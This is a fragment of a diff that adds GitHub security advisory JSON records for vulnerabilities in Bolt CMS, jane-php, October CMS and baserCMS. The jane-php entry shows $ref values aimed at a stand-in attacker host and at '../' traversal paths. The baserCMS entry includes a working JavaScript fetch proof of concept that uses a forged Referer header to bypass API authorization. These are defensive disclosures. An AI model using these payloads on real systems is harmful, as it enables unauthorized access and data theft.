","4.1.6","4.1.7","4.1.7.1","4.1.8","4.1.9","4.2.0","4.2.0-beta.10","4.2.0-beta.11","4.2.0-beta.12","4.2.0-beta.13","4.2.0-beta.14","4.2.0-beta.2","4.2.0-beta.3","4.2.0-beta.4","4.2.0-beta.5","4.2.0-beta.6","4.2.0-beta.7","4.2.0-beta.7.1","4.2.0-beta.7.2","4.2.0-beta.8","4.2.0-beta.8.1","4.2.0-beta.8.2","4.2.0-beta.8.3","4.2.0-beta.9","4.2.0-rc.1","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","5.0.0","5.0.0-beta.1","5.0.0-beta.1.1","5.0.0-beta.1.2","5.0.0-beta.1.3","5.0.0-beta.10","5.0.0-beta.12","5.0.0-beta.13","5.0.0-beta.14","5.0.0-beta.2","5.0.0-beta.3","5.0.0-beta.4","5.0.0-beta.5","5.0.0-beta.6","5.0.0-beta.6.1","5.0.0-beta.7","5.0.0-beta.8","5.0.0-beta.9","5.0.0-rc.1","5.0.0-rc.2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.16-pl.1","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.23","5.1.24","5.1.25","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.7-pl.1","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.10","5.2.0-beta.11","5.2.0-beta.12","5.2.0-beta.13","5.2.0-beta.14","5.2.0-beta.15","5.2.0-beta.15.1","5.2.0-beta.16","5.2.0-beta.17","5.2.0-beta.18","5.2.0-beta.18.1","5.2.0-beta.2","5.2.0-beta.20","5.2.0-beta.21","5.2.0-beta.22","5.2.0-beta.23","5.2.0-beta.24","5.2.0-beta.24.1","5.2.0-beta.25","5.2.0-beta.26","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.0-beta.7","5.2.0-beta.8","5.2.0-beta.9","5.2.0-rc.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","6.0.0","6.0.0-beta.1","6.0.0-beta.10","6.0.0-beta.11","6.0.0-beta.2","6.0.0-beta.3","6.0.0-beta.5","6.0.0-beta.6","6.0.0-beta.7","6.0.0-beta.8","6.0.0-beta.9","6.0.0-rc.1","6.0.0-rc.2","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6358-jg5p-hmjj/GHSA-6358-jg5p-hmjj.json"}}],"references":[{"type":"WEB","url":"https://github.com/bolt/core/security/advisories/GHSA-6358-jg5p-hmjj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77379"},{"type":"WEB","url":"https://github.com/Vondry/bolt-cms/pull/1"},{"type":"WEB","url":"https://github.com/bolt/core/commit/577b2232209c9285143a2f505ca306416b38f3f9"},{"type":"PACKAGE","url":"https://github.com/bolt/core"},{"type":"WEB","url":"https://github.com/bolt/core/releases/tag/6.1.4"}],"database_specific":{"cwe_ids":["CWE-402"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:15:23Z","nvd_published_at":"2026-11-19T17:19:00Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-c3cj-3p6p-j822","published":"2026-11-20T00:07:32Z","modified":"2026-11-20T00:15:06.500066159Z","aliases":["CVE-2026-63415"],"summary":"Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)","details":"### Summary\njane-php resolves external `$ref` targets at code-generation time via `file_get_contents($ref)` (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: `$ref: 'http://attacker/x'` -> SSRF (HTTP GET at gen time; response inlined = RFI); `$ref: '/abs/file'` -> LFI; `$ref: '../secret.yaml'` -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + `../` local content inlined into the generated code). `file://` rejected. CWE-918/CWE-98/CWE-611/CWE-22.\n\n### Details\n```php\n// Reference.php::doResolve()\n$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI\n```\n\n### Impact\nGenerating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via `../`), at build/CI time, inlining results into the output.\n\n### PoC\n`reproduce.sh` (+ `make_spec.py`, `gen.php`): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a `../`-traversal local-$ref spec (output checked for the leaked file).\n\n### Suggested fix\nDisable remote `$ref` fetching by default (or allow-list); confine local `$ref` to the spec directory (reject absolute paths and `..`). Don't `file_get_contents($ref)` on attacker-controlled URIs.\n\n[maintainer-report.txt](https://github.com/user-attachments/files/29497381/maintainer-report.txt)\n[reproduce.sh](https://github.com/user-attachments/files/29497382/reproduce.sh)\n[gen.php](https://github.com/user-attachments/files/29497384/gen.php)\n[make_spec.py](https://github.com/user-attachments/files/29497385/make_spec.py)","affected":[{"package":{"name":"jane-php/open-api-3","ecosystem":"Packagist","purl":"pkg:composer/jane-php/open-api-3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.12.0"}]}],"versions":["v5.3.0","v5.3.1","v5.3.2","v5.3.3","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.2.4","v6.2.5","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.3.7","v6.3.8","v6.3.9","v7.0.0","v7.1.0","v7.1.1","v7.1.2","v7.1.3","v7.1.4","v7.1.5","v7.1.6","v7.1.7","v7.10.0","v7.10.1","v7.10.2","v7.10.3","v7.10.4","v7.11.0","v7.11.1","v7.11.2","v7.2.0","v7.2.1","v7.2.2","v7.2.3","v7.2.4","v7.2.5","v7.3.0","v7.3.1","v7.4.0","v7.4.1","v7.4.2","v7.4.3","v7.4.4","v7.5.0","v7.5.1","v7.5.2","v7.5.3","v7.5.4","v7.5.5","v7.6.0","v7.6.1","v7.6.2","v7.7.0","v7.8.0","v7.8.1","v7.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-c3cj-3p6p-j822/GHSA-c3cj-3p6p-j822.json"}}],"references":[{"type":"WEB","url":"https://github.com/janephp/janephp/security/advisories/GHSA-c3cj-3p6p-j822"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63415"},{"type":"WEB","url":"https://github.com/janephp/janephp/pull/961"},{"type":"WEB","url":"https://github.com/janephp/janephp/commit/75f2bbf79ca2f2eeb13080a2cebded1263396b49"},{"type":"PACKAGE","url":"https://github.com/janephp/janephp"},{"type":"WEB","url":"https://github.com/janephp/janephp/releases/tag/v7.12.0"}],"database_specific":{"cwe_ids":["CWE-22","CWE-611","CWE-918","CWE-98"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:07:32Z","nvd_published_at":"2026-11-18T22:17:22Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-mqwx-84vv-mp26","published":"2026-11-19T20:46:36Z","modified":"2026-11-19T21:00:03.980283978Z","aliases":["CVE-2026-63193"],"summary":"October: Media Library Crop Handler Bypasses Upload Extension Allowlist","details":"The Media Library upload handler validates the destination filename against an extension allowlist (`default_extensions`), rejecting types such as `php`, `phtml`, `html`, and `htm`. The image crop handler (`MediaManager::onCropImage` / `cropImage`) did not perform this check. The destination filename was taken from user input, the extension was extracted from it, and the staged bytes were written to the public media folder under that attacker-chosen extension. Combined with the fact that upload accepts any file contents under an allowlisted extension (a PHP payload disguised as `.jpg`), and that the zero-dimension crop branch performs a byte-for-byte `File::copy` rather than re-encoding the pixels, an authenticated backend user with the `media.library.create` permission could write a file with arbitrary extension and arbitrary contents into the public media folder.\n\n**Scope of impact depends on web server configuration.** On a default October CMS install (using the shipped Apache `.htaccess` or `nginx.conf`), PHP execution from the media folder is blocked, so the realistic outcome is stored XSS via `.html` or `.svg` files served from the application origin. On a server that is configured to execute PHP inside the media directory (a non-default but real-world misconfiguration), the same bug becomes remote code execution.\n\n### Impact\n- Bypass of the Media Library extension allowlist that the upload path enforces\n- Stored XSS on default installs: attacker can write `.html` or `.svg` files served from the application origin, executing script in the browser of any backend user or visitor who opens the file\n- SVG sanitizer bypass: the `Html::cleanVector` step only runs on the upload path, so uploading malicious SVG content as a `.jpg` and then cropping it to `.svg` skips the sanitizer entirely\n- Remote code execution on deployments that execute PHP inside the media folder (non-default)\n- Requires authenticated backend access with the `media.library.create` permission\n\n### Patches\nThe vulnerability has been patched in v3.7.18 and v4.3.3. The crop handler now applies the same extension allowlist check as the upload handler before staging the output file. As defense in depth, the central `MediaLibrary::put` and `MediaLibrary::putFile` write methods now validate the destination extension as well, so any future write path that goes through the library inherits the check. All users are encouraged to upgrade to the latest patched version.\n\n### Workarounds\nIf upgrading immediately is not possible:\n- Restrict the `media.library.create` permission to fully trusted backend users only\n- Ensure the web server cannot execute PHP from the media storage directory (the shipped `.htaccess` and `nginx.conf` already enforce this)\n\n### References\n- Reported by nova-aryan","affected":[{"package":{"name":"october/october","ecosystem":"Packagist","purl":"pkg:composer/october/october"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.7.13"}]}],"versions":["v1.0.319","v1.0.320","v1.0.321","v1.0.322","v1.0.323","v1.0.324","v1.0.325","v1.0.326","v1.0.327","v1.0.328","v1.0.329","v1.0.330","v1.0.331","v1.0.332","v1.0.333","v1.0.334","v1.0.335","v1.0.336","v1.0.337","v1.0.338","v1.0.339","v1.0.340","v1.0.341","v1.0.342","v1.0.343","v1.0.344","v1.0.345","v1.0.346","v1.0.347","v1.0.348","v1.0.349","v1.0.350","v1.0.351","v1.0.352","v1.0.353","v1.0.354","v1.0.355","v1.0.356","v1.0.357","v1.0.358","v1.0.359","v1.0.360","v1.0.361","v1.0.362","v1.0.363","v1.0.364","v1.0.365","v1.0.366","v1.0.367","v1.0.368","v1.0.369","v1.0.370","v1.0.371","v1.0.372","v1.0.373","v1.0.374","v1.0.375","v1.0.376","v1.0.377","v1.0.378","v1.0.379","v1.0.380","v1.0.381","v1.0.382","v1.0.383","v1.0.384","v1.0.385","v1.0.386","v1.0.387","v1.0.388","v1.0.389","v1.0.390","v1.0.391","v1.0.392","v1.0.393","v1.0.394","v1.0.395","v1.0.396","v1.0.397","v1.0.398","v1.0.399","v1.0.400","v1.0.401","v1.0.402","v1.0.403","v1.0.404","v1.0.405","v1.0.406","v1.0.407","v1.0.408","v1.0.409","v1.0.410","v1.0.411","v1.0.412","v1.0.413","v1.0.414","v1.0.415","v1.0.416","v1.0.417","v1.0.418","v1.0.419","v1.0.420","v1.0.421","v1.0.422","v1.0.423","v1.0.424","v1.0.425","v1.0.426","v1.0.427","v1.0.428","v1.0.429","v1.0.430","v1.0.431","v1.0.432","v1.0.433","v1.0.434","v1.0.435","v1.0.436","v1.0.437","v1.0.438","v1.0.439","v1.0.440","v1.0.441","v1.0.442","v1.0.443","v1.0.444","v1.0.445","v1.0.446","v1.0.447","v1.0.448","v1.0.449","v1.0.450","v1.0.451","v1.0.452","v1.0.453","v1.0.454","v1.0.455","v1.0.456","v1.0.457","v1.0.458","v1.0.459","v1.0.460","v1.0.461","v1.0.462","v1.0.463","v1.0.464","v1.0.465","v1.0.466","v1.0.467","v1.0.468","v1.0.469","v1.0.470","v1.0.471","v1.0.472","v1.0.473","v1.0.474Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-r7h9-qx4h-77j5","published":"2026-11-20T00:15:55Z","modified":"2026-11-20T00:30:06.496819493Z","aliases":["CVE-2026-77378"],"summary":"Bolt ListFormatHelper SQL injection","details":"### Impact\n\nSQL Injection in ListFormatHelper allows authenticated users with the upload permission to execute arbitrary SQL queries and exfiltrate sensitive database contents through the /async/select-options endpoint when general/caching/list_format is enabled.\n\n### Patches\n\nThis has been patched in Bolt 6.1.4.","affected":[{"package":{"name":"bolt/core","ecosystem":"Packagist","purl":"pkg:composer/bolt/core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.4"}]}],"versions":["1.0.0-alpha1","4.0.0","4.0.0-alpha3","4.0.0-beta.1","4.0.0-beta.1.1","4.0.0-beta.1.2","4.0.0-beta.1.3","4.0.0-beta.1.4","4.0.0-beta.1.5","4.0.0-beta.1.6","4.0.0-beta.1.7","4.0.0-beta.1.8","4.0.0-beta.2","4.0.0-beta.2.1","4.0.0-beta.2.10","4.0.0-beta.2.2","4.0.0-beta.2.3","4.0.0-beta.2.4","4.0.0-beta.2.5","4.0.0-beta.2.6","4.0.0-beta.2.7","4.0.0-beta.2.8","4.0.0-beta.2.9","4.0.0-beta.3","4.0.0-beta.3.1","4.0.0-beta.3.2","4.0.0-beta.3.3","4.0.0-beta.3.4","4.0.0-beta.3.5","4.0.0-beta.3.6","4.0.0-beta.3.7","4.0.0-beta.3.8","4.0.0-beta.4","4.0.0-beta.4.1","4.0.0-beta.4.2","4.0.0-beta.4.3","4.0.0-beta.4.4","4.0.0-beta.4.5","4.0.0-beta.4.6","4.0.0-beta.5","4.0.0-beta.5.1","4.0.0-beta.5.2","4.0.0-beta.5.3","4.0.0-beta.5.4","4.0.0-beta.5.5","4.0.0-beta.5.6","4.0.0-beta.5.7","4.0.0-beta.5.8","4.0.0-beta.5.9","4.0.0-rc.1","4.0.0-rc.10","4.0.0-rc.11","4.0.0-rc.12","4.0.0-rc.13","4.0.0-rc.14","4.0.0-rc.15","4.0.0-rc.16","4.0.0-rc.17","4.0.0-rc.18","4.0.0-rc.19","4.0.0-rc.2","4.0.0-rc.20","4.0.0-rc.21","4.0.0-rc.22","4.0.0-rc.23","4.0.0-rc.24","4.0.0-rc.25","4.0.0-rc.26","4.0.0-rc.27","4.0.0-rc.28","4.0.0-rc.29","4.0.0-rc.3","4.0.0-rc.31","4.0.0-rc.32","4.0.0-rc.33","4.0.0-rc.34","4.0.0-rc.35","4.0.0-rc.37","4.0.0-rc.39","4.0.0-rc.4","4.0.0-rc.40","4.0.0-rc.41","4.0.0-rc.42","4.0.0-rc.43","4.0.0-rc.44","4.0.0-rc.5","4.0.0-rc.6","4.0.0-rc.7","4.0.0-rc.8","4.0.0-rc.9","4.0.1","4.1.0","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.2","4.1.20","4.1.21","4.1.21.1","4.1.22","4.1.23","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.7.1","4.1.8","4.1.9","4.2.0","4.2.0-beta.10","4.2.0-beta.11","4.2.0-beta.12","4.2.0-beta.13","4.2.0-beta.14","4.2.0-beta.2","4.2.0-beta.3","4.2.0-beta.4","4.2.0-beta.5","4.2.0-beta.6","4.2.0-beta.7","4.2.0-beta.7.1","4.2.0-beta.7.2","4.2.0-beta.8","4.2.0-beta.8.1","4.2.0-beta.8.2","4.2.0-beta.8.3","4.2.0-beta.9","4.2.0-rc.1","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","5.0.0","5.0.0-beta.1","5.0.0-beta.1.1","5.0.0-beta.1.2","5.0.0-beta.1.3","5.0.0-beta.10","5.0.0-beta.12","5.0.0-beta.13","5.0.0-beta.14","5.0.0-beta.2","5.0.0-beta.3","5.0.0-beta.4","5.0.0-beta.5","5.0.0-beta.6","5.0.0-beta.6.1","5.0.0-beta.7","5.0.0-beta.8","5.0.0-beta.9","5.0.0-rc.1","5.0.0-rc.2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.16-pl.1","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.23","5.1.24","5.1.25","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.7-pl.1","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.10","5.2.0-beta.11","5.2.0-beta.12","5.2.0-beta.13","5.2.0-beta.14","5.2.0-beta.15","5.2.0-beta.15.1","5.2.0-beta.16","5.2.0-beta.17","5.2.0-beta.18","5.2.0-beta.18.1","5.2.0-beta.2","5.2.0-beta.20","5.2.0-beta.21","5.2.0-beta.22","5.2.0-beta.23","5.2.0-beta.24","5.2.0-beta.24.1","5.2.0-beta.25","5.2.0-beta.26","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.0-beta.7","5.2.0-beta.8","5.2.0-beta.9","5.2.0-rc.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","6.0.0","6.0.0-beta.1","6.0.0-beta.10","6.0.0-beta.11","6.0.0-beta.2","6.0.0-beta.3","6.0.0-beta.5","6.0.0-beta.6","6.0.0-beta.7","6.0.0-beta.8","6.0.0-beta.9","6.0.0-rc.1","6.0.0-rc.2","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r7h9-qx4h-77j5/GHSA-r7h9-qx4h-77j5.json"}}],"references":[{"type":"WEB","url":"https://github.com/bolt/core/security/advisories/GHSA-r7h9-qx4h-77j5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77378"},{"type":"WEB","url":"https://github.com/Vondry/bolt-cms/pull/2"},{"type":"WEB","url":"https://github.com/bolt/core/commit/2818347a7ebd399a036f35ada750f0b151464489"},{"type":"PACKAGE","url":"https://github.com/bolt/core"},{"type":"WEB","url":"https://github.com/bolt/core/releases/tag/6.1.4"}],"database_specific":{"cwe_ids":["CWE-89"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:15:55Z","nvd_published_at":"2026-11-19T17:19:00Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-wgvx-x5g3-9v29","published":"2026-11-20T00:18:35Z","modified":"2026-11-20T00:30:06.968162933Z","aliases":["CVE-2026-63012"],"summary":"baserCMS administrative API authorization bypass through session fallback","details":"### Summary\n\nAn authorization bypass occurs against the API endpoint `/baser/api/admin/` by abusing the session authentication fallback.\n\n### Details\n\nThe mail settings are used here as an example.\n\nAdmin side:\n\nhttps://github.com/baserproject/basercms/blob/master/plugins/baser-core/config/permission.php#L100\nWith `auth => false`, it is not accessible with operator privileges.\n\nAPI side:\n\nhttps://github.com/baserproject/basercms/blob/master/plugins/baser-core/config/permission.php#L286\nWith `auth => true`, it is accessible even with operator privileges.\n\n---\n\nFirst, the default group for operators has `auth_prefix = 'Admin'`, which does not include `Api/Admin`.\n\nhttps://github.com/baserproject/basercms/blob/master/plugins/baser-core/src/Model/Table/UsersTable.php#L389\n\nBecause of this condition, when trying to access the `Api/Admin` API with a JWT, operators have `auth_prefix = 'Admin'`, so they cannot obtain a JWT and should not be able to access it.\n\nHowever, there is a problem in `getAuthenticationService`.\n\nhttps://github.com/baserproject/basercms/blob/master/plugins/baser-core/src/BaserCorePlugin.php#L507\n\nHere, session authentication is enabled even for the `Api/Admin` prefix.\nBy accessing the API with a Referer header, session authentication becomes active, allowing access to the API without holding a JWT.\n\nAs a result, all APIs configured with `auth => true` in `permission.php` become accessible by operators.\n\n### PoC\n\n1. Log in with a site operator (operator) privileged account.\n2. Run the following code in DevTools:\n\n```javascript\nfetch('/baser/api/admin/baser-core/site_configs/view.json', {\n headers: {\n 'Referer': location.origin + '/baser/admin/' \n }\n})\n.then(r => r.json())\n.then(d => {\n console.table(d.siteConfig);\n})\n```\n\n<img width=\"1886\" height=\"1027\" alt=\"Screenshot_20260404_075242\" src=\"https://github.com/user-attachments/assets/e91a1d27-ac36-42fb-88a8-bc699b28b04f\" />\n\n<img width=\"1277\" height=\"595\" alt=\"Screenshot_20260404_075133\" src=\"https://github.com/user-attachments/assets/9c54459a-dad0-4445-a35d-1373255c2b22\" />","affected":[{"package":{"name":"baserproject/baser-core","ecosystem":"Packagist","purl":"pkg:composer/baserproject/baser-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0"}]}],"versions":["5.0.0","5.0.0-beta2","5.0.0-beta3","5.0.0-beta4","5.0.1","5.0.10","5.0.11","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.2","5.0.20","5.0.21","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.1.0","5.1.1","5.1.10","5.1.2","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.2","5.2.3","5.2.4","5.2.5","5.2.5.1","5.2.6","5.2.7","5.2.8","5.2.9"],"database_specific":{"last_known_affected_version_range":"<= 5.2.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wgvx-x5g3-9v29/GHSA-wgvx-x5g3-9v29.json"}}],"references":[{"type":"WEB","url":"https://github.com/baserproject/basercms/security/advisories/GHSA-wgvx-x5g3-9v29"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63012"},{"type":"WEB","url":"https://github.com/baserproject/basercms/commit/2d7f74d3d5d584b9478c210016b81a1b7c30e9fb"},{"type":"WEB","url":"https://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca"},{"type":"PACKAGE","url":"https://github.com/baserproject/basercms"},{"type":"WEB","url":"https://github.com/baserproject/basercms/releases/tag/5.3.0"}],"database_specific":{"cwe_ids":["CWE-290"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:18:35Z","nvd_published_at":"2026-11-19T21:18:03Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-xr6g-7g83-j865","published":"2026-11-20T00:14:31Z","modified":"2026-11-20T00:30:06.873771453Z","aliases":["CVE-2026-77376"],"summary":"Bolt: Open redirect enables post-authentication redirection to arbitrary domains","details":"### Impact\n\nOpen redirect vulnerabilities in LoginFormAuthenticator allow attackers to redirect users to attacker-controlled domains after login success or login failure, enabling phishing attacks and potential token theft.\n\n### Patches\n\nThis has been patched in Bolt 6.1.4.","affected":[{"package":{"name":"bolt/core","ecosystem":"Packagist","purl":"pkg:composer/bolt/core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.4"}]}],"versions":["1.0.0-alpha1","4.0.0","4.0.0-alpha3","4.0.0-beta.1","4.0.0-beta.1.1","4.0.0-beta.1.2","4.0.0-beta.1.3","4.0.0-beta.1.4","4.0.0-beta.1.5","4.0.0-beta.1.6","4.0.0-beta.1.7","4.0.0-beta.1.8","4.0.0-beta.2","4.0.0-beta.2.1","4.0.0-beta.2.10","4.0.0-beta.2.2","4.0.0-beta.2.3","4.0.0-beta.2.4","4.0.0-beta.2.5","4.0.0-beta.2.6","4.0.0-beta.2.7","4.0.0-beta.2.8","4.0.0-beta.2.9","4.0.0-beta.3","4.0.0-beta.3.1","4.0.0-beta.3.2","4.0.0-beta.3.3","4.0.0-beta.3.4","4.0.0-beta.3.5","4.0.0-beta.3.6","4.0.0-beta.3.7","4.0.0-beta.3.8","4.0.0-beta.4","4.0.0-beta.4.1","4.0.0-beta.4.2","4.0.0-beta.4.3","4.0.0-beta.4.4","4.0.0-beta.4.5","4.0.0-beta.4.6","4.0.0-beta.5","4.0.0-beta.5.1","4.0.0-beta.5.2","4.0.0-beta.5.3","4.0.0-beta.5.4","4.0.0-beta.5.5","4.0.0-beta.5.6","4.0.0-beta.5.7","4.0.0-beta.5.8","4.0.0-beta.5.9","4.0.0-rc.1","4.0.0-rc.10","4.0.0-rc.11","4.0.0-rc.12","4.0.0-rc.13","4.0.0-rc.14","4.0.0-rc.15","4.0.0-rc.16","4.0.0-rc.17","4.0.0-rc.18","4.0.0-rc.19","4.0.0-rc.2","4.0.0-rc.20","4.0.0-rc.21","4.0.0-rc.22","4.0.0-rc.23","4.0.0-rc.24","4.0.0-rc.25","4.0.0-rc.26","4.0.0-rc.27","4.0.0-rc.28","4.0.0-rc.29","4.0.0-rc.3","4.0.0-rc.31","4.0.0-rc.32","4.0.0-rc.33","4.0.0-rc.34","4.0.0-rc.35","4.0.0-rc.37","4.0.0-rc.39","4.0.0-rc.4","4.0.0-rc.40","4.0.0-rc.41","4.0.0-rc.42","4.0.0-rc.43","4.0.0-rc.44","4.0.0-rc.5","4.0.0-rc.6","4.0.0-rc.7","4.0.0-rc.8","4.0.0-rc.9","4.0.1","4.1.0","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.2","4.1.20","4.1.21","4.1.21.1","4.1.22","4.1.23","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.7.1","4.1.8","4.1.9","4.2.0","4.2.0-beta.10","4.2.0-beta.11","4.2.0-beta.12","4.2.0-beta.13","4.2.0-beta.14","4.2.0-beta.2","4.2.0-beta.3","4.2.0-beta.4","4.2.0-beta.5","4.2.0-beta.6","4.2.0-beta.7","4.2.0-beta.7.1","4.2.0-beta.7.2","4.2.0-beta.8","4.2.0-beta.8.1","4.2.0-beta.8.2","4.2.0-beta.8.3","4.2.0-beta.9","4.2.0-rc.1","4.2.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","5.0.0","5.0.0-beta.1","5.0.0-beta.1.1","5.0.0-beta.1.2","5.0.0-beta.1.3","5.0.0-beta.10","5.0.0-beta.12","5.0.0-beta.13","5.0.0-beta.14","5.0.0-beta.2","5.0.0-beta.3","5.0.0-beta.4","5.0.0-beta.5","5.0.0-beta.6","5.0.0-beta.6.1","5.0.0-beta.7","5.0.0-beta.8","5.0.0-beta.9","5.0.0-rc.1","5.0.0-rc.2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.16-pl.1","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.23","5.1.24","5.1.25","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.7-pl.1","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.10","5.2.0-beta.11","5.2.0-beta.12","5.2.0-beta.13","5.2.0-beta.14","5.2.0-beta.15","5.2.0-beta.15.1","5.2.0-beta.16","5.2.0-beta.17","5.2.0-beta.18","5.2.0-beta.18.1","5.2.0-beta.2","5.2.0-beta.20","5.2.0-beta.21","5.2.0-beta.22","5.2.0-beta.23","5.2.0-beta.24","5.2.0-beta.24.1","5.2.0-beta.25","5.2.0-beta.26","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.0-beta.7","5.2.0-beta.8","5.2.0-beta.9","5.2.0-rc.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","6.0.0","6.0.0-beta.1","6.0.0-beta.10","6.0.0-beta.11","6.0.0-beta.2","6.0.0-beta.3","6.0.0-beta.5","6.0.0-beta.6","6.0.0-beta.7","6.0.0-beta.8","6.0.0-beta.9","6.0.0-rc.1","6.0.0-rc.2","6.0.1","6.0.2","6.0.3","6.1.0","6.1.1","6.1.2","6.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xr6g-7g83-j865/GHSA-xr6g-7g83-j865.json"}}],"references":[{"type":"WEB","url":"https://github.com/bolt/core/security/advisories/GHSA-xr6g-7g83-j865"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77376"},{"type":"WEB","url":"https://github.com/bolt/core/commit/db37ed5d7563f19e57597671598e284c9b34456c"},{"type":"PACKAGE","url":"https://github.com/bolt/core"},{"type":"WEB","url":"https://github.com/bolt/core/releases/tag/6.1.4"}],"database_specific":{"cwe_ids":["CWE-601"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:14:31Z","nvd_published_at":"2026-11-19T17:19:00Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
